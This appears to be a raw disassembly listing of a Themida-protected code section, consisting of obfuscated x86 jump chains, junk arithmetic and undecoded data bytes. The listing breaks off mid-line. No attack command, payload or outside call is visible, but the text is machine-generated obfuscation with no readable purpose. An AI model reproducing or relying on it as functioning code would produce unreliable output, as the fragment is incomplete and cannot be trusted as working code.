push 4 jmp loc_511491 ; --------------------------------------------------------------------------- loc_5110A4: ; CODE XREF: Themida_:00519C81j pop dword ptr [esp] pop esp jmp loc_515518 ; --------------------------------------------------------------------------- db 0ADh, 52h, 53h dd 4A0504BBh, 3DE9432Dh db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5110BB: ; CODE XREF: Themida_:00512B24j add ebp, edi jmp loc_51E79B ; --------------------------------------------------------------------------- dw 4B9h dd 1000000h, 5904244Ch, 6824348Bh, 89Fh, 81242C89h, 4ECh dd 7BE95400h db 0BCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5110E3: ; CODE XREF: Themida_:0051CB63j mov esi, 47650952h inc esi xor esi, 9B502D2h xor ebx, esi pop esi sub ebx, 324522E8h xor ebx, 5FCF7982h shl ebx, 5 xor ebx, 10AE42C4h jmp loc_50F2E3 ; --------------------------------------------------------------------------- dd 0D6CF814Fh, 0C16F4720h, 0E95504EFh, 9F06h ; --------------------------------------------------------------------------- loc_51111C: ; CODE XREF: Themida_:0051F227j mov esp, [esp] mov [esp], ebx jmp loc_50F855 ; --------------------------------------------------------------------------- loc_511127: ; CODE XREF: Themida_:00520864j mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_51A76B ; --------------------------------------------------------------------------- loc_511138: ; CODE XREF: Themida_:00519F37j mov esi, 720F362Bh push edx jmp loc_50C778 ; --------------------------------------------------------------------------- loc_511143: ; CODE XREF: Themida_:00520F79j mov edx, ebx mov ebx, [esp] add esp, 4 shr edx, 3 inc edx jmp loc_511FBA ; --------------------------------------------------------------------------- loc_511154: ; CODE XREF: Themida_:00517560j pop esp jmp loc_51AA0B ; --------------------------------------------------------------------------- dw 0C89h dd 61685524h, 5D4CE225h, 0DAE9DDF7h, 0BD000011h, 4, 2C8BEE01h dd 4C48124h, 83000000h, 348704EEh, 24895C24h, 0AAE95324h db 3Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51118B: ; CODE XREF: Themida_:0050F290j add esp, 4 xchg ebx, [esp] jmp loc_50E33F ; --------------------------------------------------------------------------- dw 2C87h dd 24248B24h, 0FFC925E9h, 241C89FFh, 0F6685B54h, 8900004Dh dd 4BE2434h, 81000000h, 1B0C1CEBh, 56F30134h, 1B0C1CBEh dd 0A8C38134h, 12CC418h, 0A8EB81F3h, 5E2CC418h, 4EB815Eh dd 33000000h, 99E9241Ch, 89FFFFE5h, 2E9241Ch, 5800001Dh dd 9F47E953h, 8B660000h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_5184C1 ; --------------------------------------------------------------------------- loc_51120C: ; CODE XREF: Themida_:0050EFACj xor bl, 1 add bl, 0D3h sub al, bl jmp loc_515E87 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0B8E3E9h, 240C8700h, 44B1685Ch, 3C890000h, 7C876824h dd 1C890000h, 7DFABB24h, 5E685E82h, 0E9000012h, 60CAh dd 0EE2EB9BDh, 0E9EB3119h, 84Fh, 0FE17E951h, 0C180FFFFh dd 0E0EFE967h, 0D701FFFFh, 5B38EF81h, 148B3477h, 0E735E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51126E: ; CODE XREF: Themida_:00510F12j mov [esp], edx mov edx, 54DC2CDEh push ebx mov ebx, 0FFFFFFFFh add edx, ebx mov ebx, [esp] add esp, 4 not edx not edx push esi mov esi, 601372E4h jmp loc_51993D ; --------------------------------------------------------------------------- loc_511296: ; CODE XREF: Themida_:00513A11j pop ecx sub [esp+4], eax sub dword ptr [esp+4], 58E02C14h mov eax, [esp] jmp loc_512F9E ; --------------------------------------------------------------------------- db 50h dd 730DE5B8h, 0E9C601F8h, 0FFFFE258h, 0E9240C89h, 1987h dd 55EF001h, 2, 90ABE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5112CE: ; CODE XREF: Themida_:0050BFBBj pop ecx pop eax push esi mov esi, 0F0F32F3h add esi, 1BFB4EA8h sub esi, 0ABCD7AA8h add eax, esi jmp loc_51A651 ; --------------------------------------------------------------------------- loc_5112E9: ; CODE XREF: Themida_:005184EBj shr edx, 2 push ebx mov ebx, 0A0A1729h xor edx, ebx jmp loc_514631 ; --------------------------------------------------------------------------- db 5Ch, 0Fh, 0B6h dd 8734FFC0h, 0FFA2E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_511305: ; CODE XREF: Themida_:005114A1j push ebp jmp loc_51F479 ; --------------------------------------------------------------------------- db 5Ah dd 807AB353h, 0C38024E3h, 4CEB808Ch, 2858EB80h, 241C8BDAh dd 8004C483h, 0E98067E9h, 80D12808h, 23E908C1h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_511333: ; CODE XREF: Themida_:0050C827j mov eax, 55214BAAh shl eax, 3 push 5DBAh jmp loc_51E512 ; --------------------------------------------------------------------------- loc_511345: ; CODE XREF: Themida_:0051178Dj push 583Ch jmp loc_51DC8F ; --------------------------------------------------------------------------- db 81h dd 0D8F864C5h, 753205CAh, 2B0547A1h, 153D563h, 632B2DE8h dd 322D53D5h, 5D47A175h, 81BBE9h db 0 ; --------------------------------------------------------------------------- loc_511371: ; CODE XREF: Themida_:0051995Bj mov ebp, 11327157h and edi, ebp jmp loc_51373A ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 8B000000h, 0C4832414h, 42F56804h, 3C890000h dd 4BF24h, 0C2810000h, 420C6F3Ch, 0EA81FA01h, 420C6F3Ch dd 55243C8Bh, 0C5815D54h, 4, 84BD5552h, 0C124083Dh, 0F74D07E5h dd 11F581D5h, 5633A677h, 0B172E9h, 37C18100h, 17B4002h dd 0A1E959CDh, 80000089h, 0A1E957C1h db 74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5113E3: ; CODE XREF: Themida_:005200F0j pop ebx push ecx mov ecx, 28135D9Bh push ebp mov ebp, 5153780Ch and ecx, ebp pop ebp add ecx, 5B3BC9C6h push eax push ecx mov ecx, 6B403505h jmp loc_50B70C ; --------------------------------------------------------------------------- a13SI db '1,$3,$-',0 align 10h dd 4C4835Fh, 2BA52h, 0D6010000h, 0FFBC4CE9h db 0FFh ; --------------------------------------------------------------------------- loc_511421: ; CODE XREF: Themida_:005171F8j sub esp, 4 jmp loc_51A8E8 ; --------------------------------------------------------------------------- db 1, 0C3h, 81h dd 0DC6DDAEBh, 1C875808h, 67E95C24h db 90h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51143B: ; CODE XREF: Themida_:0051818Bj add ebp, ecx pop ecx jmp loc_515CD4 ; --------------------------------------------------------------------------- loc_511443: ; CODE XREF: Themida_:0050B6E6j mov edi, [esp] add esp, 4 xor ebx, eax jmp loc_519CB1 ; --------------------------------------------------------------------------- dd 68CB2CACh, 1F72h, 0FFB168E9h, 6BEA81FFh, 5943C032h dd 4EC81h, 3C890000h, 2BF24h, 0C2810000h, 2A0E6FD4h, 52E4C281h dd 0FA296110h, 52E4EA81h, 0EA816110h, 2A0E6FD4h, 808FE9h db 0 ; --------------------------------------------------------------------------- loc_511491: ; CODE XREF: Themida_:0051109Fj pop ebp sub eax, 79B49F0h add eax, ebp add eax, 79B49F0h mov ebp, [esp] jmp loc_511305 ; --------------------------------------------------------------------------- dw 0B353h dd 5BDE3011h, 0C05AF100h, 536605E9h, 0FFE368E9h db 0FFh ; --------------------------------------------------------------------------- loc_5114B9: ; CODE XREF: Themida_:00513D3Dj pop esi add esp, 4 push ebx mov ebx, 31B24314h jmp loc_50F929 ; --------------------------------------------------------------------------- loc_5114C8: ; CODE XREF: Themida_:0051C13Aj add edx, 3DDF73EAh jmp loc_514CF9 ; --------------------------------------------------------------------------- loc_5114D3: ; CODE XREF: Themida_:0050E694j add dword ptr [esp], 4 mov ebx, [esp] jmp loc_50D10F ; --------------------------------------------------------------------------- loc_5114E2: ; CODE XREF: Themida_:0050CF4Ej push ebp mov ebp, 220D4660h jmp loc_50CDDA ; --------------------------------------------------------------------------- loc_5114ED: ; CODE XREF: Themida_:005143A1j pop ecx push edx sub esp, 4 jmp loc_51552B ; --------------------------------------------------------------------------- dw 0C781h dd 4, 4C781h, 3C870000h, 24248B24h, 555E5456h, 56BCDBDh dd 0E3895318h, 4C381h, 0EB830000h, 7D7E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_511526: ; CODE XREF: Themida_:00511FFBj inc eax and eax, 31315BBFh xor eax, 59C850ECh xor ebp, eax jmp loc_50CDBE ; --------------------------------------------------------------------------- dd 42474FFh, 5E2434FFh, 4C481h, 48F0000h, 0C5815C24h, 4 dd 8904EC83h, 0EC83240Ch, 24348904h, 268h, 24348B00h, 8904C483h dd 0E897E9F1h, 14890000h, 81E28924h, 4C2h, 0E2895200h dd 0D534E9h, 0C8B6600h, 84E95724h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_51158B: ; CODE XREF: Themida_:00514AA0j mov ebx, esp push eax push ebp mov ebp, 25B74B3Bh mov eax, 0E4D91642h sub eax, 1F96311Ch jmp loc_5178EE ; --------------------------------------------------------------------------- db 68h dd 63F2h, 0E9243489h, 0C9EBh, 51E9F089h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5115B7: ; CODE XREF: Themida_:0051E723j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop esi add esp, 4 push eax push ecx mov ecx, 4 mov eax, ecx pop ecx add esi, eax pop eax push ecx push ebx mov ebx, 1DEF6E4Ch mov ecx, 80B6E403h push ebx mov ebx, 2ACD4722h jmp loc_51A2BB ; --------------------------------------------------------------------------- dd 1C381h, 0EBC10000h, 19EB8105h, 0D106AA05h, 0EEEB81EBh dd 17D504Eh, 241C8BD9h, 4EC81h, 34890000h, 35C8E924h, 0F1810000h dd 33ED05ACh, 4EC81h, 0A1E90000h, 550000E7h, 0FFD850E9h dd 7307BEFFh, 0C14619D9h, 0EC8306EEh, 241C8904h, 1E2DBA52h dd 0CA811763h, 320A0AC2h, 5583EA81h, 0BF570958h, 479A6DDBh dd 0A5F4C781h, 0FA311D65h, 0EAC2815Fh, 0F779303Eh, 0F1BAE9DAh dd 15D0000h, 2C3358C5h, 242C3124h, 0E9242C33h, 1E66h, 8006E5C0h dd 0E800BBC5h, 81240C8Bh, 4C4h, 6C356800h, 14890000h, 0E9A1B624h dd 0B5D8h, 81243489h, 4ECh, 240C8900h, 4B9h, 0CF895700h dd 595FFE89h, 3DA4E9h, 73C78100h, 1F20722h, 1D60E9FBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5116C6: ; CODE XREF: Themida_:0050CBB9j mov ebp, 24BF70E3h jmp loc_515443 ; --------------------------------------------------------------------------- dd 2B9h, 59CE0100h, 0E9243487h, 0FFFFC96Bh ; --------------------------------------------------------------------------- loc_5116E0: ; CODE XREF: Themida_:0050F5F3j add ebp, 1A520CE9h pop eax push ebp jmp loc_51D7E5 ; --------------------------------------------------------------------------- aFiSat db 'f,$T',0 align 2 dw 1C33h dd 241C3124h, 5C241C33h, 0B57FE9h db 0 ; --------------------------------------------------------------------------- loc_511705: ; CODE XREF: Themida_:00521141j add eax, esi add eax, 692D4D3Eh mov esi, [esp] add esp, 4 push 7628h mov [esp], edi jmp loc_5142DE ; --------------------------------------------------------------------------- dw 4B8h dd 0E9000000h, 0B681h, 1C330F2Dh, 58C789CEh, 5825E9h, 2434FF00h dd 4C48159h, 0E9000000h, 0B9ADh, 4BE56h, 0F3010000h, 8124348Bh dd 4C4h, 241C3300h, 33241C31h, 248B241Ch, 8BD02124h db 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp or eax, eax jz loc_5153B9 push 6711h mov [esp], edx jmp loc_511345 ; --------------------------------------------------------------------------- dw 0E989h dd 0CA60E95Dh, 525EFFFFh, 4A3839BAh, 5FEA810Ah, 8137C042h dd 1A009BF2h, 1318E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5117B2: ; CODE XREF: Themida_:00511013j mov edx, [esp] add esp, 4 jmp loc_50B5E5 ; --------------------------------------------------------------------------- dd 0BB241C89h, 1CC91E87h, 0BF71E9h, 81E68900h, 4C6h, 0ADBEE900h dd 49BEFFFFh, 81969911h, 0D33E9BC5h, 0E9F50141h, 233Ah dd 4C681h, 0C6810000h, 4, 2474FF56h, 48F5E04h, 23E95C24h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_511807: ; CODE XREF: Themida_:00519AFAj pop edx sub eax, 73897A75h pop ebp sub eax, 4 jmp loc_51AE61 ; --------------------------------------------------------------------------- dd 676FBE66h, 5EF08966h, 47712566h, 0FFD5AEE9h db 0FFh ; --------------------------------------------------------------------------- loc_511829: ; CODE XREF: Themida_:0051A59Dj add dl, 0D2h add dl, 0ECh mov eax, [esp] add esp, 4 add bl, dl push dword ptr [esp] pop edx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5149D5 ; --------------------------------------------------------------------------- loc_51184F: ; CODE XREF: Themida_:00511886j pop ecx sub eax, edi pop edi jmp loc_519B86 ; --------------------------------------------------------------------------- aSsso db 'S陎',0 align 2 dw 405h dd 5000000h, 4, 8B240487h, 29E92424h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_511873: ; CODE XREF: Themida_:005134B3j mov edx, [esp] add esp, 4 xchg ebx, [esp] jmp loc_51BEC7 ; --------------------------------------------------------------------------- loc_511884: ; CODE XREF: Themida_:0051800Bj xor edi, ecx jmp loc_51184F ; --------------------------------------------------------------------------- loc_51188B: ; CODE XREF: Themida_:0051A6DBj and ecx, 83964F2h sub ecx, 81824ECh add esi, ecx jmp loc_50CC6B ; --------------------------------------------------------------------------- loc_51189E: ; CODE XREF: Themida_:00517253j add esp, 4 push ebx mov ebx, esp add ebx, 4 push esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp] pop esp sub edx, ebp push dword ptr [esp] pop ebp jmp loc_517D40 ; --------------------------------------------------------------------------- aBMS db 'm((',0 align 10h loc_5118D0: ; CODE XREF: Themida_:00518DBBj mov edi, ebx pop ebx mov ecx, [esp] add esp, 4 neg edi jmp loc_51F3EF ; --------------------------------------------------------------------------- dd 569C281h, 0D63138D4h, 5724148Bh, 3CE9E789h, 0E9000030h dd 0FFFF9CEDh ; --------------------------------------------------------------------------- loc_5118F8: ; CODE XREF: Themida_:005184C2j mov [esp], esi push ecx push 125B5443h pop ecx shl ecx, 7 jmp loc_512D1E ; --------------------------------------------------------------------------- aPg@sd db 'G@d',0 align 2 loc_511912: ; CODE XREF: Themida_:0051354Aj add ebp, ecx add ebp, 3303299h mov ecx, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebx push dword ptr [esp+4] pop ebx jmp loc_517D23 ; --------------------------------------------------------------------------- db 1, 0D7h, 5Ah dd 0BABF5753h, 47274D5Dh, 3874B850h, 0C729D86Ch, 8324048Bh dd 0FB8904C4h, 73C7815Fh, 15F8037h, 73EF81DFh, 8B5F8037h dd 0C481241Ch, 4, 7E92E781h, 0B4E96129h, 0B4000066h, 58E3008Eh dd 0EB80D300h, 0C3FE5A8Eh, 0E989C380h, 0FFFFC3CDh, 7ABCE95Ah dd 0BF570000h, 4, 0FFBB96E9h db 0FFh ; --------------------------------------------------------------------------- loc_511999: ; CODE XREF: Themida_:00517806j xor ecx, eax pop eax jmp loc_517FE3 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 907817BDh, 0E9E8210Eh, 0FFFFD7A0h, 31241433h, 64E92414h db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5119BB: ; CODE XREF: Themida_:0051ECB1j or bl, 3Ch xor bl, 5Eh sub al, 0DDh add al, bl add al, 0DDh jmp loc_50B9A2 ; --------------------------------------------------------------------------- aJvsub db 'JVb',0 dw 8100h dd 0F5082444h, 5B1AE72Eh, 4244481h, 7BB71ED4h, 0C78AE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5119EA: ; CODE XREF: Themida_:0051A328j add ebx, ebp add ebx, 7E85714Dh jmp loc_519D5A ; --------------------------------------------------------------------------- align 4 dd 2DFBE9D8h, 14F70000h, 243C8B24h, 0E904C483h, 0FFFFB685h dd 0FF9BD4E9h, 0E99C50FFh, 0FFFF9BCDh, 5A0668h, 242C8900h dd 754866BDh, 7E5C146h, 2414F755h, 9FF5815Dh, 0E928A95Ch dd 0FFFFC127h, 0DABAF681h, 0F58927EDh, 4717E9h, 241C8B00h dd 0FFC53CE9h db 0FFh ; --------------------------------------------------------------------------- loc_511A4D: ; CODE XREF: Themida_:0051A8EBj push edx jmp loc_51899D ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 0CCC18104h, 10EDF0Ch, 0CCE981F9h, 0E90EDF0Ch dword_511A68 dd 0FFFFE6FDh ; DATA XREF: Themida_:0050D40Bo ; --------------------------------------------------------------------------- loc_511A6C: ; CODE XREF: Themida_:0051EB3Fj sub esp, 4 jmp loc_510FA5 ; --------------------------------------------------------------------------- loc_511A74: ; CODE XREF: Themida_:005205D7j sub esp, 4 mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_5108F5 ; --------------------------------------------------------------------------- loc_511A86: ; CODE XREF: Themida_:0051842Fj add edx, ebp pop ebp push esi mov esi, 4 add edx, esi pop esi jmp loc_5193D4 ; --------------------------------------------------------------------------- db 83h dd 0FDE904C4h, 0FF00003Dh, 535D2434h, 0C381E389h, 4, 8704C383h dd 23E9241Ch, 8B00005Dh, 0DBE92424h db 0A4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_511ABF: ; CODE XREF: Themida_:0051F0C7j mov edx, [esp] add esp, 4 push 4C54h mov [esp], eax jmp loc_50D8C7 ; --------------------------------------------------------------------------- db 50h, 0FFh, 74h dd 0E9580424h, 0E660h, 4C481h, 0C4810000h, 4, 75D0E9h dd 4C48100h, 1000000h, 241C8BDDh, 56585450h, 0C93B6BBEh dd 3F68151h, 0E92AC15Ch, 0F1C8h, 4EC815Ch, 89000000h, 0B951242Ch dd 154C14C4h, 242C8151h, 1F6252D6h, 83242C8Bh, 0C58104C4h dd 1F6252D6h, 4EC8359h, 0FFC049E9h, 87D6F7FFh, 86E92434h db 0F4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_511B47: ; CODE XREF: Themida_:0050B699j pop ecx push edx mov edx, 6FEB2B14h add edx, 4D4C2317h xor edx, 70C72A94h jmp loc_514F9B ; --------------------------------------------------------------------------- db 0F6h dd 0E99C241Ch, 91BCh, 24048F54h, 4EC81h, 14890000h, 1349BA24h dd 0D2F746ACh, 134EC281h, 6C8146ACh, 71E30424h, 5401194Ah dd 44810424h, 71E30424h, 3CE9194Ah db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511B9B: ; CODE XREF: Themida_:0050D9E2j mov ebp, esp sub esp, 4 mov [esp], edi jmp loc_510EE9 ; --------------------------------------------------------------------------- dd 53242C89h, 6104F1BBh, 0CBFE924h, 34FF0000h, 48FA6887h dd 14890000h, 132EBA24h, 0F0E9193Bh, 5D000045h, 0E9E78957h dd 0FFFFEF47h, 459E681h, 0CE81472Eh, 5B6B3F49h, 0A3BE5653h dd 566D0D69h, 0EB835E5Bh, 16EB81FFh, 816AFD17h, 4C706DCBh dd 81DBF71Fh, 3A1663E3h, 0BA10E910h, 0E95A0000h, 0FFFFD51Dh ; --------------------------------------------------------------------------- loc_511C0C: ; CODE XREF: Themida_:005151D4j push esp jmp loc_511046 ; --------------------------------------------------------------------------- aUs db 'U=',0 align 4 dd 3B24248Bh, 0C2E99CC8h, 0F7FFFF99h, 0B7C0E9D0h, 8B660000h dd 1768240Ch, 89000054h, 0E9542434h, 0B3D2h ; --------------------------------------------------------------------------- loc_511C3C: ; CODE XREF: Themida_:00517865j push dword ptr [esp] pop ebx add esp, 4 add ebx, 4 add ebx, 4 jmp loc_519C15 ; --------------------------------------------------------------------------- loc_511C57: ; CODE XREF: Themida_:0051D366j pop ecx push esi push 19AD74FAh pop esi jmp loc_51701C ; --------------------------------------------------------------------------- loc_511C64: ; CODE XREF: Themida_:0050E797j mov edi, 15A6566Bh and edi, 36AB3F9Ch xor edi, 0CB5CC7B8h add eax, 60683E72h add eax, 44377E16h add eax, edi sub eax, 44377E16h sub eax, 60683E72h pop edi push 3E43h mov [esp], ebp push eax jmp loc_517ABB ; --------------------------------------------------------------------------- dw 0E952h dd 6616h ; --------------------------------------------------------------------------- loc_511CA0: ; CODE XREF: Themida_:0051C68Fj mov ebx, 40CE7DCCh sub ebx, 0A45AB60Ch add eax, ebx pop ebx jmp loc_510FDC ; --------------------------------------------------------------------------- db 53h dd 4EC81h, 24890000h, 0AADAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_511CC2: ; CODE XREF: Themida_:0050CC70j mov [esp], edi mov edi, 2D4E5519h mov ecx, 69A2B1C3h sub ecx, edi pop edi shl ecx, 6 jmp loc_50F5AF ; --------------------------------------------------------------------------- aYs db 'Y龻',0 align 10h dd 0C40BE95Dh, 77FFFFFFh, 58669D1Ch, 9C240410h, 0FF98F0E9h dd 58C328FFh, 8B9E9h, 241C8700h, 240C895Ch, 0FFD206E9h dd 0E9DAF7FFh, 1D1Ch ; --------------------------------------------------------------------------- loc_511D10: ; CODE XREF: Themida_:0051601Bj mov [esp], ebx jmp loc_517864 ; --------------------------------------------------------------------------- dd 489DBB53h, 0C68182E5h, 0C32439Dh, 24E9DE01h, 8900008Fh dd 0E9552424h, 594Ch, 0E9242C89h, 0FFFFEBB3h, 0D0E91FB1h dd 81FFFFDCh, 434579EBh, 0E95953C0h, 7FEBh, 0BD242C89h dd 4, 0E95DEE01h, 0FFFFC75Dh, 16A6F181h, 0D1F774B2h, 4A50E181h dd 0C1810397h, 78177288h, 0DEBBF57h, 814F5D44h, 138862C7h dd 5FF90127h, 7CE9C831h, 0FFFFFFDAh, 9853E930h, 0D831FFFFh dd 0AD50E9h db 0 ; --------------------------------------------------------------------------- loc_511D99: ; CODE XREF: Themida_:005144ABj sub bh, 4Bh jmp loc_50F733 ; --------------------------------------------------------------------------- db 5Dh, 1, 0F7h aYsju db '^YJ',0 db 0 ; --------------------------------------------------------------------------- loc_511DAB: ; CODE XREF: Themida_:005198FFj xchg ecx, [esp] pop esp push eax push esp pop eax add eax, 4 push edx jmp loc_51D10A ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0E189240Ch, 4C181h, 0C1830000h, 74FF5104h dd 8F590424h, 0F75C2404h, 64DEE9D0h, 14890000h, 6529BA24h dd 0D301FF4Ch, 481535Ah, 1D2DFD24h, 0EA815A53h, 531D2DFDh dd 87A1E9h, 4C38100h, 0E9000000h, 286Eh, 66FFC280h, 661C9668h dd 86241489h, 0D5F6242Ch, 66242C86h, 0E924148Bh, 0FFFFA44Eh ; --------------------------------------------------------------------------- loc_511E28: ; CODE XREF: Themida_:0050C0B8j and edx, 6C1C4F32h or edx, 47C02E72h add edx, 0DB4F1F6Dh sub ecx, edx jmp loc_51818A ; --------------------------------------------------------------------------- db 0BEh, 4, 0 dd 0C1810000h, 24E40504h, 2333E9h db 0 ; --------------------------------------------------------------------------- loc_511E51: ; CODE XREF: Themida_:00519C18j xor [esp], ebx xor ebx, [esp] mov esp, [esp] sub ecx, 0AC40AECh push 1 push dword ptr [esp] jmp loc_50D4B4 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C4h dd 4, 0C7FEE9h db 0 ; --------------------------------------------------------------------------- loc_511E79: ; CODE XREF: Themida_:00520A91j add ecx, 3D7D685Bh sub esp, 4 mov [esp], eax mov eax, esp jmp loc_51FFDC ; --------------------------------------------------------------------------- dd 0E955D601h, 0FFFFAC3Ch ; --------------------------------------------------------------------------- loc_511E94: ; CODE XREF: Themida_:0051A618j mov [esp], esp jmp loc_510402 ; --------------------------------------------------------------------------- loc_511E9C: ; CODE XREF: Themida_:0051CFAFj mov ecx, 676F3F5Eh mov edi, 676F3F62h push ecx mov ecx, 77990890h jmp loc_520A4C ; --------------------------------------------------------------------------- loc_511EB1: ; CODE XREF: Themida_:0051DB16j mov [esp], ebx mov ebx, 36F039FCh add esi, ebx pop ebx sub esi, 69C9248Ch pop edi push ebx mov ebx, 4 jmp loc_51C789 ; --------------------------------------------------------------------------- loc_511ECE: ; CODE XREF: Themida_:005152F3j add ebx, 58A534DDh push edi jmp loc_51968A ; --------------------------------------------------------------------------- loc_511EDA: ; CODE XREF: Themida_:005131FCj push ebx add dword ptr [esp], 39626C8h jmp loc_51BDC2 ; --------------------------------------------------------------------------- db 66h dd 8166DDF7h, 66D186F5h, 0D5F7664Dh, 3EDC166h, 0BA665266h dd 29662E77h, 148B66D5h, 0A7EDE924h, 0E9580000h, 0D700h ; --------------------------------------------------------------------------- loc_511F10: ; CODE XREF: Themida_:00518F3Ej pop eax and eax, ecx jmp loc_51BD6D ; --------------------------------------------------------------------------- dd 8E9525Ah db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511F1F: ; CODE XREF: Themida_:0050C738j add esp, 4 pop edx jmp loc_51B8E0 ; --------------------------------------------------------------------------- db 81h dd 0E77C51C7h, 1CBCE93Bh, 815B0000h, 4C3h, 4EB8300h, 2474FF53h dd 2CE95B04h, 89000045h, 0E189240Ch, 4C181h, 83570000h dd 23E904ECh, 81000062h, 0C353B5C2h, 81F20112h, 0C353B5EAh dd 14875E12h, 225EE924h, 0B8500000h, 549F13A0h, 42D6E9h dd 0E9E78900h, 0AD22h, 1C581h, 0C0E90000h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_511F93: ; CODE XREF: Themida_:0051A735j push edx push ebx jmp loc_515FD3 ; --------------------------------------------------------------------------- dw 0C380h dd 0A9F9E90Ch, 0C4830000h, 2BD5504h, 1000000h, 92E95DEBh dd 5B0000A7h, 8051E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_511FBA: ; CODE XREF: Themida_:0051114Fj push ebp push ecx mov ecx, 120049Fh mov ebp, ecx pop ecx and edx, ebp pop ebp jmp loc_50DF1C ; --------------------------------------------------------------------------- dd 3777C281h, 0CA01042Dh, 3777EA81h, 3159042Dh, 44F4E9D0h dd 0D2F70000h, 0C681D687h, 37FD395Bh, 5508EEC1h, 2E1A56BDh dd 3706E92Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_511FFA: ; CODE XREF: Themida_:00519176j pop ebp jmp loc_511526 ; --------------------------------------------------------------------------- dd 0B270C181h, 0CD8905DCh, 54F58159h, 45524F1Ch, 0D001E9h dd 2C58100h, 55000000h, 0FFBBB7E9h db 0FFh ; --------------------------------------------------------------------------- loc_512021: ; CODE XREF: Themida_:0051C528j mov [esp], ebx push esi mov esi, 1E833EE4h sub [esp+4], esi pop esi pop edi add edi, 1E833EE4h mov ebx, [esp] push 6F36h mov [esp], ecx push 28AAh mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] push dword ptr [esp] jmp loc_50E9EC ; --------------------------------------------------------------------------- loc_512058: ; CODE XREF: Themida_:00518A50j pop eax jmp loc_51521C ; --------------------------------------------------------------------------- loc_51205E: ; CODE XREF: Themida_:00517302j or edi, 643866E3h add edi, 82841805h add ecx, edi pop edi sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], eax jmp loc_50BE50 ; --------------------------------------------------------------------------- db 1, 0CAh, 81h dd 1243EFEAh, 240C8B59h, 104C483h, 0F3C3E9CAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51209A: ; CODE XREF: Themida_:005198F7j push dword ptr [esp] jmp loc_5167FA ; --------------------------------------------------------------------------- dw 8F54h dd 0CF682404h, 8900003Ch, 0DA68240Ch, 89000010h, 5168241Ch dd 5B6AFE15h, 0C107EBC1h, 0FB8707E3h, 0FB31D7F7h, 998EE9h dd 0C1D2F700h, 0DAF708EAh, 0F882EA81h, 0D321C9B2h, 1FCDE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5120E2: ; CODE XREF: Themida_:0050C38Ej add ecx, 663F086Ch add ecx, eax sub ecx, 663F086Ch sub ecx, 1C79ABh push ebx jmp loc_51CBD7 ; --------------------------------------------------------------------------- loc_5120FC: ; CODE XREF: Themida_:0052024Cj mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_515CA5 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF94D1h, 0FE58E588h, 0C60AE9CDh, 0E3D10000h, 3CB4E381h dd 0BE567406h, 622303FEh, 0FFC121E9h db 0FFh ; --------------------------------------------------------------------------- loc_512131: ; CODE XREF: Themida_:0051EA7Aj mov [esp], edi jmp loc_517C08 ; --------------------------------------------------------------------------- loc_512139: ; CODE XREF: Themida_:0051C9BDj pop dword ptr [esp] jmp loc_515F63 ; --------------------------------------------------------------------------- db 31h, 7Ch, 24h dd 2434FF04h, 79E9575Fh, 5100009Bh, 42474FFh, 24048F59h dd 2EE9055Ch, 0C8017DCDh, 0CD2EE92Dh, 3F68597Dh, 89000035h dd 0E957243Ch, 0AD1Dh ; --------------------------------------------------------------------------- loc_512174: ; CODE XREF: Themida_:0051CE3Dj sub [esp+8], edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 sub dword ptr [esp+4], 192E41h jmp loc_510104 ; --------------------------------------------------------------------------- dd 4D79E781h, 0EFC16346h, 81DFF704h, 0BC81CAC7h, 5FFD2968h dd 0B50CE95Fh, 0BE56FFFFh, 2B193600h, 2D5EF089h, 2965ED46h dd 5758C789h, 6A242C81h, 8B1D6C45h, 0CBE9242Ch, 31000097h dd 8F66C3h, 7305E9h, 58C32900h, 0C381C301h, 